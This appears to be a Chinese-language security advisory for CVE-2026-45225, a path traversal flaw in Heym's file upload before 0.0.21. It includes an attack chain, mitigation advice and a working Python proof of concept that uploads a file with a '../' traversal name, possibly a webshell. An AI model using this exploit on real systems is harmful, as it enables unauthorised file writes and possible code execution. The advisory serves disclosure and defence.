IPBUF安全漏洞报告
English
CVE-2026-45225 CVSS 7.6 高危

CVE-2026-45225 Heym路径遍历漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-45225
漏洞类型
路径遍历
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Heym

相关标签

路径遍历文件上传HeymCVE-2026-45225Arbitrary File Write

漏洞概述

Heym 0.0.21之前的版本在文件上传功能中存在路径遍历漏洞。由于未对文件名参数进行充分验证,经过身份认证的攻击者可以通过构造包含遍历序列(如../)的恶意文件名,绕过存储目录限制。这使得攻击者能够将任意文件写入系统中的非预期位置,进而可能导致读取、修改或删除关键文件,对系统机密性、完整性和可用性造成威胁。该漏洞CVSS评分为7.6,属于高危级别。

技术细节

该漏洞的核心原因在于Heym项目的`upload_file()`处理函数未能正确过滤或规范化用户输入的文件名。在受影响版本中,应用程序直接将用户提供的文件名用于文件系统操作,而没有检查其中是否包含路径遍历字符(如“../”或绝对路径)。攻击者只需拥有低权限账户,即可利用此漏洞构造特制的HTTP POST请求。当服务器处理该请求时,路径遍历序列会解析并跳出预定的上传目录,允许攻击者将文件写入任意路径。这不仅可能导致敏感信息泄露或数据丢失,还可能通过覆盖配置文件或写入恶意脚本导致远程代码执行。

攻击链分析

STEP 1
侦察
攻击者识别目标系统运行的是Heym应用程序,且版本低于0.0.21。
STEP 2
获取凭证
攻击者注册或获取一个低权限的账户凭证(PR:L)。
STEP 3
漏洞利用
攻击者向文件上传端点发送特制的POST请求,在文件名字段中插入路径遍历序列(如../)。
STEP 4
写入文件
服务器处理请求,由于未验证文件名,攻击者将恶意文件写入到了系统任意位置(如Web根目录或系统配置目录)。
STEP 5
达成影响
攻击者利用写入的文件读取敏感数据、破坏系统完整性或进一步执行恶意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target_url = "http://target-ip:port/api/upload" # Attacker controlled file content file_content = b"Malicious content or webshell" # Crafted filename with path traversal sequences to write outside the intended directory files = { 'file': ('../../../../../tmp/malicious_file.txt', file_content, 'text/plain') } # Headers simulating an authenticated low-privilege user headers = { 'Authorization': 'Bearer <low_privilege_token>', 'User-Agent': 'PoC-Client/1.0' } try: response = requests.post(target_url, files=files, headers=headers) if response.status_code == 200: print("[+] Exploit successful! File written via path traversal.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}")

影响范围

Heym < 0.0.21

防御指南

临时缓解措施
建议立即将Heym组件升级到最新版本以修复此漏洞。如果暂时无法升级,应在WAF或反向代理层部署规则,拦截包含路径遍历字符(如“../”或“%2e%2e/”)的HTTP请求,并严格限制Web服务器的文件系统写入权限。

参考链接